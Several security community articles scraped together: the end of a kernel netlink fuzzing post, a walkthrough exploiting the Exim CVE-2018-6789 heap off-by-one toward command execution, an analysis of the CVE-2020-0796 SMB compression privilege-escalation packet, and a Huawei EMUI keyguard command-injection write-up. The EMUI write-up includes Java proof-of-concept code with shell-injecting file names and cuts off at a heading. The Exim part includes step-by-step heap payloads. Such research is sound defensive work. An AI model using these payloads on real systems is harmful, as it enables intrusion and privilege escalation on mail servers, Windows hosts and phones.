8(lore.kernel.org/netdev/CAJPywTJWQ9ACrp0naDn0gikU4P5-xGcGrZ6ZOKUeeC3S-k9+MA@mail.gmail.com/T/#u)。使用更专业的fuzzer，一些改进稳定性的指标和一个像样的输入语料库，我们可以期待得到更好的结果。
如果你想了解更多关于netlink套接字的功能，请参阅我的同事Jakub Sitnicki的博客：[Multipath Routing in Linux -part 1](http://codecave.cc/multipath-routing-in-linux-part-1.html "Multipath
Routing in Linux - part 1")。在[Rami
Rosen的Linux内核网络的书](https://books.google.pl/books?redir_esc=y&hl=pl&id=96V4AgAAQBAJ&q=netlink#v=snippet&q=netlink&f=false
"Rami Rosen的Linux内核网络的书")中也有一章关于它的内容。
在这篇博客中我们没有提到：
* AFL shared_memory设置的详细信息
* 执行AFL持久模式
* 如何创建一个网络命名空间来隔离怪异的netlink命令的效果，并提高AFL的稳定性
* 关于如何读取dmesg(/dev/kmsg)以查找内核崩溃的技巧
* 在KVM之外运行AFL，以获得速度和稳定(目前在发现crash后的测试不稳定)
但是我们实现了我们的目标——我们针对内核建立了一个基本但仍然有用的fuzzer。最重要的是可以重复使用相同的机制来fuzz从文件系统到BPF
verifier的Linux子系统的其它部分。
我还学到了一个惨痛的教训：调整fuzzer是一项全职工作。正确的fuzz绝对不是启动它并无所事事地等待crash那么简单。总有一些东西需要改进，调整和重新实现。Mateusz
Jurczyk在上述提到的演讲开头的一句话引起了我的共鸣：“fuzz很容易学，但很难掌握。”
挖洞愉快！ | 社区文章 |
**Author：Hcamael@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/557/>**
Not too long ago, meh dug an[ Exim RCE
vulnerability](https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ " Exim RCE vulnerability"). The RCE vulnerability
is less constrained, as it can still be used even if PIE is enabled .
During the process of recurring the loophole, I have found that in the process
of the recurrence, the actual situation of the stack could not be constructed
as Meh described, and I was stuck here for a long time ( I guess it was
because of the different environment). Then I decided I should first
understand the general idea of meh before I construct the heap. The whole work
is difficult, but I made it at last.
#### Recurring Environment Construction
The environment is roughly the same as the last time. First, go to the [patch
commit](https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
"patch commit") of the vulnerability on github.
Then switch the branch to the last commit
$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local
Still use the last Makefile:
$ cat Local/makefile | grep -v "#"
BIN_DIRECTORY=/usr/exim/bin
CONFIGURE_FILE=/usr/exim/configure
EXIM_USER=ubuntu
SPOOL_DIRECTORY=/var/spool/exim
ROUTER_ACCEPT=yes
ROUTER_DNSLOOKUP=yes
ROUTER_IPLITERAL=yes
ROUTER_MANUALROUTE=yes
ROUTER_QUERYPROGRAM=yes
ROUTER_REDIRECT=yes
TRANSPORT_APPENDFILE=yes
TRANSPORT_AUTOREPLY=yes
TRANSPORT_PIPE=yes
TRANSPORT_SMTP=yes
LOOKUP_DBM=yes
LOOKUP_LSEARCH=yes
LOOKUP_DNSDB=yes
PCRE_CONFIG=yes
FIXED_NEVER_USERS=root
AUTH_CRAM_MD5=yes
AUTH_PLAINTEXT=yes
AUTH_TLS=yes
HEADERS_CHARSET="ISO-8859-1"
SUPPORT_TLS=yes
TLS_LIBS=-lssl -lcrypto
SYSLOG_LOG_PID=yes
EXICYCLOG_MAX=10
COMPRESS_COMMAND=/usr/bin/gzip
COMPRESS_SUFFIX=gz
ZCAT_COMMAND=/usr/bin/zcat
SYSTEM_ALIASES_FILE=/etc/aliases
EXIM_TMPDIR="/tmp"
Compile and install:
$ make -j8
$ sudo make install
The startup is the same as last time. But when the debug is enabled, all debug
information is output, and if not so, the layout of the heap will be impacted.
However, although it has an impact, it only affects the details of the
structure. The overall construction idea is still as what meh wrote in his
paper.
The recurrence is based on a mode that only outputs partial debug information:
$ /usr/exim/bin/exim -bdf -dd
# Output complete debug information using -bdf -d+all
# Do not open debug mode using -bdf
#### Vulnerability Recurrence
I think the description of the vulnerability principle and related functions
has been very detailed in meh's article, so I just wrote my recurrence
process.
##### STEP 1
First you need to construct a released chunk. It does not have to be of 0x6060
in size but only have to meet a few conditions:
This chunk is divided into three parts, one part is obtained by `store_get`,
which is used to store the base64 decoded data and cause the `off by one`
vulnerability to cover the size of the next chunk. The minimum chunk obtained
by `store_get` is 0x2000, and the heap header is 0x10 and the heap header
implented by exim is also 0x10. So it is a heap block of at least 0x2020.
The second part is used to put `sender_host_name`. Because the memory of this
variable is obtained by `store_malloc`, there is no size limit.
The third part is also a heap block of at least 0x2020 because it needs to
construct a fake chunk for the check of `free`.
Unlike meh, I get a 0x4041 heap by `unrecognized command` and then release it
with `EHLO`:
p.sendline("\x7f"*4102)
p.sendline("EHLO %s"%("c"*(0x2010)))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x4041,
fd = 0x7f9520917b78,
bk = 0x1d1b1e0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d191c0 {
prev_size = 0x4040,
size = 0x2020,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d15180 is a chunk of size 0x4040 obtained by `unrecognized command`. It was
released after the `EHLO` command was excuted. 0x1d191c0 is the
`sender_host_name` of inuse. These two parts constitute a chunk of 0x6060.
##### STEP 2
The current situation is that `sender_host_name` is at the bottom of the
0x6060 chunk, and we need to move it to the middle.
This part of the idea is the same as meh, first of all occupy the top 0x2020
chunk with `unrecognized command`
The size of the memory is `ss = store_get(length + nonprintcount * 3 + 1);`
after `unrecognized command` is excuted.
By calculation, you only need to make `length + nonprintcount * 3 + 1 >
yield_length` to apply for a chunk with `store_get` function.
P.sendline("\x7f"*0x800)
At this time we can use `EHLO` to release the previous `sender_host_name` and
then reset it so that `sender_host_name` is in the middle of the 0x6060 size
chunk.
p.sendline("EHLO %s"%("c"*(0x2000-9)))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x7f9520917b78,
bk = 0x1d191a0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d171a0 {
prev_size = 0x2020,
size = 0x2000,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d191a0 PREV_INUSE {
prev_size = 0x63636363636363,
size = 0x6061,
fd = 0x1d15180,
bk = 0x7f9520917b78,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d1f200 {
prev_size = 0x6060,
size = 0x2020,
fd = 0x1d27380,
bk = 0x2008,
fd_nextsize = 0x6363636363636328,
bk_nextsize = 0x6363636363636363
}
##### STEP 3
Now the layout of our heap is:
* The first unused 0x2020 size chunk
* The second 0x2000 size block is used as`sender_host_name`
* The third block is a 0x6060 size chunk that has not been used. It will merge with the heap afterwards.
Let's go back and think about the setting of the size of each chunk.
###### CHUNK 1
The first chunk is used to trigger the `off by one` vulnerability, which is
used to modify the size of the second chunk, which can only overflow 1 byte.
`store_get` at least allocates a chunk of 0x2000 in size and can store data of
0x2000 in size.
This means if `store_get` is of its minimun size, you can only overflow the
pre_size bit of the second chunk.
Then because `(0x2008-1)%3==0`, we can exploit the vulnerability of b64decode
function and apply for a 0x2020 chunk that can store 0x2008 size of data, and
then overflow a byte to the `size` of the next chunk.
###### CHUNK2
As for the second chunk, because only one byte can be modified, so it can only
be extended from 0x00 to 0xf0.
Second, we assume that the original chunk size of the second chunk is 0x2021,
and then it is modified to 0x20f1. We also need to consider whether
chunk+0x20f1 is controllable, because we need to forge a fake chunk to bypass
the security check of free function .
After several times of debugging, it is found that when the size of the second
chunk is 0x2001, it is more convenient for subsequent use.
###### CHUNK3
The third chunk only requires to be greater than a minimum size (0x2020) that
a `store_get` request can get.
##### STEP 4
We will trigger the `off by one` vulnerability according to the third step.
payload1 = "HfHf"*0xaae
p.sendline("AUTH CRAM-MD5")
p.sendline(payload1[:-1])
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x1d191b0,
bk = 0x2008,
fd_nextsize = 0xf11ddff11ddff11d,
bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE IS_MMAPED {
prev_size = 0x6363636363636363,
size = 0x6363636363636363,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
And construct a fake chunk in the third chunk.
payload = p64(0x20f0)+p64(0x1f31)
p.sendline("AUTH CRAM-MD5")
p.sendline((payload*484).encode("base64").replace("\n",""))
# heap
0x1d15180 PREV_INUSE {
prev_size = 0x0,
size = 0x2021,
fd = 0x1d191b0,
bk = 0x2008,
fd_nextsize = 0xf11ddff11ddff11d,
bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE {
prev_size = 0xf0,
size = 0x1f31,
fd = 0x20f0,
bk = 0x1f31,
fd_nextsize = 0x20f0,
bk_nextsize = 0x1f31
}
0x1d1b1c0 PREV_INUSE {
prev_size = 0x2020,
size = 0x4041,
fd = 0x7f9520918288,
bk = 0x7f9520918288,
fd_nextsize = 0x1d1b1c0,
bk_nextsize = 0x1d1b1c0
}
##### STEP 5
By releasing `sender_host_name`, an original 0x2000 chunk is expanded to
0x20f0, but it does not trigger `smtp_reset`.
p.sendline("EHLO a+")
# heap
0x1d171a0 PREV_INUSE {
prev_size = 0x1ddff11ddff11ddf,
size = 0x20f1,
fd = 0x1d21240,
bk = 0x7f9520917b78,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1d19290 {
prev_size = 0x20f0,
size = 0x1f30,
fd = 0x20f0,
bk = 0x1f31,
fd_nextsize = 0x20f0,
bk_nextsize = 0x1f31
}
##### STEP 6
Meh provides a way to RCE without leaking the address.
Exim has an `expand_string` function. When it processes the arguments with
`${run{xxxxx}}` or `xxxx`, it will be executed as a shell command.
The `acl_check` function checks the configuration of each command, and then
calls the `expand_string` function on the string of configuration information.
The configuration information of my recurrence environment is as follows:
pwndbg> x/18gx &acl_smtp_vrfy
0x6ed848 <acl_smtp_vrfy>: 0x0000000000000000 0x0000000000000000
0x6ed858 <acl_smtp_rcpt>: 0x0000000001cedac0 0x0000000000000000
0x6ed868 <acl_smtp_predata>: 0x0000000000000000 0x0000000000000000
0x6ed878 <acl_smtp_mailauth>: 0x0000000000000000 0x0000000000000000
0x6ed888 <acl_smtp_helo>: 0x0000000000000000 0x0000000000000000
0x6ed898 <acl_smtp_etrn>: 0x0000000000000000 0x0000000000000000
0x6ed8a8 <acl_smtp_data>: 0x0000000001cedad0 0x0000000000000000
0x6ed8b8 <acl_smtp_auth>: 0x0000000001cedae0 0x0000000000000000
So I have three commands `rcpt`, `data` and `auth` to use.
For example, the current content of the `0x0000000001cedae0` address is:
Pwndbg> x/s 0x0000000001cedae0
0x1cedae0: "acl_check_auth"
If I change the string to `${run{/usr/bin/touch /tmp/pwned}}`, then when I
send the `AUTH` command to the server, exim will execute `/usr/bin/touch
/tmp/pwned`.
Modify the next pointer of `storeblock` to store the heap address of the
`acl_check_xxxx` string -> call smtp_reset -> the heap block storing the
`acl_check_xxxx` string is released into the unsortedbin -> apply for a heap,
and when the address of the heap is the same as the heap block storing
`acl_check_xxxx` string, we can override the string that the string executes
for the command -> RCE
##### STEP 7
According to the last step, we first need to modify the `next` pointer. The
original size of the second chunk is 0x2000, and it will be 0x20f0 after
modification. The address of the next `storeblock` is chunk+0x2000 which is
also the address of the `next` pointer.
So we apply for a chunk of 0x2020 and we can override the `next` pointer:
P.sendline("AUTH CRAM-MD5")
P.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))
The second chunk is allocated when the `AUTH CRAM-MD5` command is executed, so
the memory of `b64decode` is obtained from `next_yield`.
This means we can control the size of `yield_length` when executing
`b64decode`. At first, one of my ideas is to use the `off by one`
vulnerability to modify `next`, which is, from my point of view, what meh said
about `partial write`. But I fialed.
Pwndbg> x/16gx 0x1d171a0+0x2000
0x1d191a0: 0x0063636363636363 0x0000000000002021
0x1d191b0: 0x0000000001d171b0 0x0000000000002000
The current value of the `next` pointer is 0x1d171b0. I used to try to modify
1-2 bytes, but the heap address of the `acl_check_xxx` character is 0x1ced980.
We will need to modify 3 bytes, so this idea won't work.
So there is another idea. Because exim handles each socket connection by fork,
so we can blast the base address of the heap, which only needs 2bytes.
##### STEP 8
After solving this problem, it is to fill the heap, and then modify the string
that `acl_check_xxx` pointed to.
Then attach the screenshot:
#### Summary
I have seen others'
[exp](https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789 "exp") on
github, and they used blasting, so it is possible that I did not really
understood `partial write`.
In addition, by comparing with exp on github, it is found that for different
versions of exim, `acl_check_xxx` have different heap offsets. So if you need
RCE exim, you need to meet the following conditions:
1. Versions with the vulnerability (less than or equal to the version of commit 38e3d2dff7982736f1e6833e06d4aab4652f337a)
2. Enable CRAM-MD5 authentication, or other authentication with b64decode function
3. Need the binary of the exim to calculate the heap offset
4. Need the startup parameters of exim
#### Reference
1.<https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/>
2.<https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1>
3.<https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789>
* * * | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/kWKzbjz8CHTaNgRBhqJHpg>**
### 漏洞介绍
2020年3月10日，微软在其官方SRC发布了CVE-2020-0796的安全公告（ADV200005，Microsoft Guidance for
Disabling SMBv3 Compression）,公告表示在Windows
SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block
3.1.1协议处理特定请求包的功能中，攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
启明星辰ADLab安全研究人员在对该漏洞进行研究的过程中发现目前流传的一些漏洞分析存在某些问题，因此对该漏洞进行了深入的分析，并在Windows
10系统上进行了复现。
### 漏洞复现
采用Windows 10 1903版本进行复现。在漏洞利用后，验证程序提权结束后创建了一个system权限的cmd shell，如图1所示。
### 漏洞基本原理
CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1
版本增加了对压缩数据的支持。图2所示为带压缩数据的SMB数据报文的构成。
根据微软MS-SMB2协议文档，SMB Compression Transform Header的结构如图3所示。
* ProtocolId ：4字节，固定为0x424D53FC
* OriginalComressedSegmentSize ：4字节，原始的未压缩数据大小
* CompressionAlgorithm ：2字节，压缩算法
* Flags ：2字节，详见协议文档
* Offset/Length ：根据Flags的取值为Offset或者Length，Offset表示数据包中压缩数据相对于当前结构的偏移
`srv2.sys`中处理`SMBv3`压缩数据包的解压函数`Srv2DecompressData``未严格校验数据包中OriginalCompressedSegmentSize`和`Offset/Length`字段的合法性。而这两个字段影响了`Srv2DecompressData`中内存分配函数`SrvNetAllocateBuffer`的参数。如图4所示的`Srv2DecompressData`函数反编译代码，`SrvNetAllocateBuffer`实际的参数为`OriginalCompressedSegmentSize+Offset`。这两个参数都直接来源于数据包中SMB
`Compression Transform Header`中的字段，而函数并未判断这两个字段是否合法，就直接将其相加后作为内存分配的参数(unsigned
int类型）。
这里，`OriginalCompressedSegmentSize+Offset`可能小于实际需要分配的内存大小，从而在后续调用解压函数`SmbCompressionDecompress`过程中存在越界读取或者写入的风险。
### 提权利用过程
目前已公开的针对该漏洞的本地提权利用包含如下的主要过程：
1. 验证程序首先创建到SMS server的会话连接（记为session）。
2. 验证程序获取自身token数据结构中privilege成员在内核中的地址（记tokenAddr）。
3. 验证程序通过session发送畸形压缩数据（记为evilData）给SMB server触发漏洞。其中，evilData包含tokenAddr、权限数据、溢出占位数据。
4. SMS server收到evilData后触发漏洞，并修改tokenAddr地址处的权限数据，从而提升验证程序的权限。
5. 验证程序获取权限后对winlogon进行控制，来创建system用户shell。
### 漏洞内存分配分析
首先，看一下已公开利用的evilData数据包的内容:
数据包的内容很简单，其中几个关键字段数据如下：
1. OriginalSize ：0xffffffff
2. Offset ：0x10
3. Real compressed data ：13字节的压缩数据，解压后应为1108字节’A’加8字节的token地址。
4. SMB3 raw data ：实际上是由2个8字节的0x1FF2FFFFBC（总长0x10)加上0x13字节的压缩数据组成
从上面的漏洞原理分析可知，漏洞成因是Srv2DecompressData函数对报文字段缺乏合法性判断造成内存分配不当。在该漏洞数据包中，`OriginalSize`是一个畸形值。`OriginalSize
+ Offset = 0xffffffff + 0x10 = 0xf`
是一个很小的值，其将会传递给`SrvNetAllocateBuffer`进行调用，下面具体分析内存分配情况。`SrvNetAllocateBuffe`的反编译代码如图6。
由于传给`SrvNetAllocateBuffe`r的参数为`0xf`，根据`SrvNetAllocateBuffer`的处理流程可知，该请求内存将从`SrvNetBufferLookasides`表中分配。这里需要注意的是，变量`SrvDisableNetBufferLookAsideList`跟注册表项相关，系统默认状态下`SrvDisableNetBufferLookAsideList`为0。
`SrvNetBufferLookasides`表通过函数`SrvNetCreateBuffer`初始化，实际`SrvNetCreateBuffer`循环调用了`SrvNetBufferLookasideAllocate`分配内存，调用`SrvNetBufferLookasideAllocat`e的参数分别为[‘0x1100’,
‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’,
‘0x100100’]。在这里，内存分配参数为0xf，对应的`lookaside`表为`0x1100`大小的表项。
`SrvNetBufferLookasideAllocate`函数实际是调用`SrvNetAllocateBufferFromPool`来分配内存，如图9所示。
在函数`SrvNetAllocateBufferFromPool`中，对于用户请求的内存分配大小，内部通过`ExAllocatePoolWithTag`函数分配的内存实际要大于请求值（多出部分用于存储部分内存相关数据结构）。以请求分配`0x1100`大小为例，经过一系列判断后，最后分配的内存大小`allocate_size
= 0x1100 + E8 + 2*(MmSizeOfMdl + 8)`。
内存分配完毕之后，`SrvNetAllocateBufferFromPool`函数还对分配的内存进行了一系列初始化操作，最后返回了一个内存信息结构体指针作为函数的返回值。
这里需要注意如下的数据关系：`SrvNetAllocateBufferFromPool`函数返回值`return_buffer`指向一个内存数据结构，该内存数据结构起始地址同实际分配内存（函数`ExAllocatePoolWithTag`分配的内存）起始地址的的偏移为`0x1150`；`return_buffer+0x18`位置指向了实际分配内存起始地址偏移`0x50`位置处，而最终`return_buffer`会作为函数`SrvNetAllocateBuffer`的返回值。
### 漏洞内存破坏分析
回到漏洞解压函数`Srv2DecompressData`，在进行内存分配之后，`Srv2DecompressData`调用函数`SmbCompressionDecompress`开始解压被压缩的数据。
实际上，该函数调用了Windows库函数`RtlDecompressBufferEx2`来实现解压，根据`RtlDecompressBufferEx2``的函数原型来对应分析SmbCompressionDecompress`函数的各个参数。
1. SmbCompressionDecompress(CompressAlgo，//压缩算法
2. Compressed_buf，//指向数据包中的压缩数据
3. Compressed_size，//数据包中压缩数据大小，计算得到
4. UnCompressedBuf,//解压后的数据存储地址，(alloc_buffer+0x18)+0x10
5. UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
6. FinalUnCompressedSize)//最终解压后数据大小
从反编译代码可以看出，函数`SmbCompressionDecompress`中保存解压后数据的地址为`(alloc_buffer+0x18)+0x10`的位置，根据内存分配过程分析，`alloc_buffer
+ 0x18`指向了实际内存分配起始位置偏移`0x50`处，所以拷贝目的地址为实际内存分配起始地址偏移`0x60`位置处。
在解压过程中，压缩数据解压后将存储到这个地址指向的内存中。根据evilData数据的构造过程，解压后的数据为占坑数据和`tokenAddr`。拷贝到该处地址后，`tokenAddr`将覆盖原内存数据结构中`alloc_buffer+0x18`处的数据。也就是解压缩函数
`SmbCompressionDecompress`返回后，`alloc_buffer+0x18`将指向验证程序的`tokenAddr`内核地址。
继续看`Srv2DecompressData`的后续处理流程，解压成功后，函数判断offset的结果不为0。不为0则进行内存移动，内存拷贝的参数如下：
`memmove((alloc_buffer+0x18)，SMB_payload，offset)`
此时`alloc_buffer+0x18`已经指向验证程序的`tokenAddr`内核地址，而`SMB_payload`此时指向`evilData`中的权限数据，offset则为`0x10`。因此，这个内存移动完成后，权限数据将写入t`okenAddr`处。这意味着，SMS
Server成功修改了验证程序的权限，从而实现了验证程序的提权！
还有一个细节需要注意，在解压时，`Srv2DecompressData`函数会判断实际的解压后数据大小`FinalUnCompressedSize`是否和数据包中原始数据大小`OriginalCompressedSegmentSiz`e一致。
按理来说实际解压后的数据大小为`0x1100`，不等于数据包中的原始压缩数据大小`0xffffffff`，这里应该进入到后面内存释放的流程。然而，实际上在函数`SmbCompressionDecompress`中，调用`RtlDecompressBufferEx2`成功后会直接将`OriginalCompressedSegmentSize`赋值给`FinalUnCompressedSize`。这也是该漏洞关于任意地址写入成功的关键之一。
### 漏洞修复建议
CVE-2020-0796是内存破坏漏洞，精心利用可导致远程代码执行，同时网络上已经出现该漏洞的本地提权利用代码。在此，建议受影响版本Windows用户及时根据微软官方漏洞防护公告对该漏洞进行防护。
### 参考链接
1. <https://fortiguard.com/encyclopedia/ips/48773>
2. <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005>
3. <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>
4. <https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762>
5. <https://github.com/danigargu/CVE-2020-0796>
6. <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962>
7. <https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtldecompressbufferex2>
* * * | 社区文章 |
作者：[flanker017](https://blog.flanker017.me/a-theme-to-system-in-emui/)
（广告：我的微信公众号，分享前沿信息安全漏洞研究，欢迎关注)
各位Android用户一定对主题包不陌生，这应该是Android相对于iOS可定制化的一大优势。 说到主题包，各位会想到什么？这个？
哦不对，跑题了。那这个？
好了又跑题了，下面是正文。两年前，我们对EMUI做了一次审计，发现了数十个各种各样的问题，从系统崩溃重启到system/内核权限代码执行，都早已报给了华为并得到了修复。
其中有些漏洞的挖掘和利用过程还是很有意思的，在这里总结成系列文章分享给大家。下面介绍的是一个通过恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在主题商店或者第三方渠道下载安装了这样一个主题，手机就会被拿到system权限。
## EMUI keyguard应用中的system权限提升
EMUI中的锁屏应用，也就是keyguard应用， 负责系统主题和锁屏的下载、管理工作。 这段Manifest中可以看出，其以system
uid运行，具有用户态比较高的权限。
<manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="3.0.5.1" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">
对odex过后的文件做了下反编译，下面这部分代码引起了我们的注意。这部分代码会在新主题被下载过之后执行，基本的作用是扫描主题存储目录，将所有文件名含有，对文件做相应刷新操作。
final class DownloadServiceHandler extends Handler {
private void downloadFinish(ArrayList arg5, boolean arg6) { //... UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5); File[] v0 = UpdateHelper.queryChannelFiles(".apply");
if(v0 == null || v0.length <= 0)
{this.handleFailed();}
else
{
DownloadService.this.handleChannelDownloadFinish(arg5, arg6);
}
//… DownloadService继续追下去
com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesName
public static boolean switchChannelFilesName
(Context arg8, String arg9, String arg10, ArrayList arg11)
{
boolean v5;
File[] files=UpdateHelper.queryChannelFiles(arg9,arg11);
if(files == null || files.length == 0 )
{
v5 = false;
}
else
{
int i;
for(i = 0 ; i < files.length; ++i) {
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName))
&&
!CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName)))
{
Log.i("UpdateHelper" , "switch channel files , mv failed");
}
}
v5 = true;
} return v5;
}
看起来第一次是调用File.renameTo，如果失败了，再次调用CommandLineUtil.mv函数。
queryChannelFiles函数的作用是扫描
/sdcard/MagazineUpdate/download目录下的一级File,如果文件名包含通配符，那么返回该File.
CommandLineUtil.mv函数是做什么的？
public static boolean mv (String arg4, String arg5, String arg6 ) {
Object[] obj = new Object[2];
obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6;
return CommandLineUtil.run(arg4 , "mv %s %s", obj); }
private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
InputStream v0 = null ;
String[] str2 = new String[3];
if(arg9.length > 0) {
String str1 = String.format(arg8,arg9 );
if(!TextUtils.isEmpty (((CharSequence)arg7))) {
str2[0] = "/system/bin/sh";
str2[1] = "-c";
str2[2] = str1;
v0 = CommandLineUtil.runInner(arg6, str2);
}
} return v0;
}
这不是”/system/bin/sh -c”，命令注入了嘛！
事情就这么结束了？
那当然不是，否则这个漏洞也没必要写个博客了。 仔细看下这个函数，我们要构造payload需要若干个条件
* 通过`CommandLIneUtil.addQuoteMark`的过滤
* 让第一次`renameTo`失败
* 构造出文件名包含命令执行语句的且合法的文件 这三项从简到难。第一个最简单，我们来看看`CommandLineUtil.addQuoteMark`是如何过滤的:
### Step1
public static String addQuoteMark(String arg2) { if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
arg2 = "\"" + arg2 + "\"";
} return arg2;
}
这个好像没什么用嘛…直接闭合下，KO
### Step2
然后再来看第二个，如何让renameTo失败？ 我们来看下Java 官方文档:
renameTo
public boolean renameTo(File dest)
Renames the file denoted by this abstract pathname.
Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.
大意就是，大爷我(Oracle)也不知道这帮孙子究竟把这个API实现成什么样子了，不同平台的不同孙子做法不一样，因为他们对应的syscall实现不一样。那么Android平台上的JVM是不是这样的一个孙子？
如下代码告诉了我们结果：
Runtime.getRuntime.exec("touch /sdcard/1");
Runtime.getRuntime.exec("touch /sdcard/2");
System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));
Err…没这么简单，返回的是true。 那我们再回过头来看具体的syscall描述：
SYNOPSIS top
#include <stdio.h>
int rename(const char *oldpath, const char *newpath);
rename() renames a file, moving it between directories if required.
Any other hard links to the file (as created using link(2)) are
unaffected. Open file descriptors for oldpath are also unaffected.
Various restrictions determine whether or not the rename operation
succeeds: see ERRORS below.
If newpath already exists, it will be atomically replaced, so that
there is no point at which another process attempting to access
newpath will find it missing.
//...snip
oldpath can specify a directory. In this case, newpath must either
not exist, or it must specify an empty directory.
那么如果源文件是目录，目标文件已存在且不是非空目录，那么自然就返回false了。
### Step3
再回过头来看我们可以控制的参数，
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {
我们需要构造出合法的文件名，以此作为payload，实现代码执行。但是问题就来了：文件名中是不能出现/这种路径符号的（否则就成一个目录了），但是没有了这个路径符号，我们又基本上无法执行任何有意义的命令！(即使reboot也是需要path的)
事实上，在最开始确认这个漏洞的时候，我思来想去，最终用了如下的payload来首先确定漏洞存在：
`File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent
4;\".downloading.a");` input
keyevent是少有的几个不需要设置PATH也不需要绝对路径就可以执行的命令，但是没什么卵用。。。
这时，我掐指一算，想起来了小时候日站的一个trick： bash/ash允许通过通配符的方式从已有的字符串中提取出局部字符串。
已有的字符串又有什么呢？环境变量
echo $ANDROID_DATA/data
S=${ANDROID_DATA%data}
echo $S
/
这样我们就可以提取出一个/，以$S的形式表示。而这个在文件名中是完全合法的。通过如下代码构造文件，随后通过intent触发service，我们就能够实现以systemuid执行任意binary的目的。
void prepareFile1() throws IOException {
//File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
//File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
file.createNewFile();
file2.mkdir();
}
void startPOCService(){
ChannelInfo info = new ChannelInfo();
info.downloadUrl = "http://172.16.4.172:8000/dummy";
info.channelId = "ddd";
info.size = 10110240;
ArrayList<ChannelInfo> list = new ArrayList<>();
list.add(info);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
intent.setAction("com.android.keyguard.magazinulock.update.DOWNLOAD_CHANNEL");
intent.putParcelableArrayListExtra("update_list", list);
intent.putExtra("type",6);
startService(intent);
}
## Chain to remote
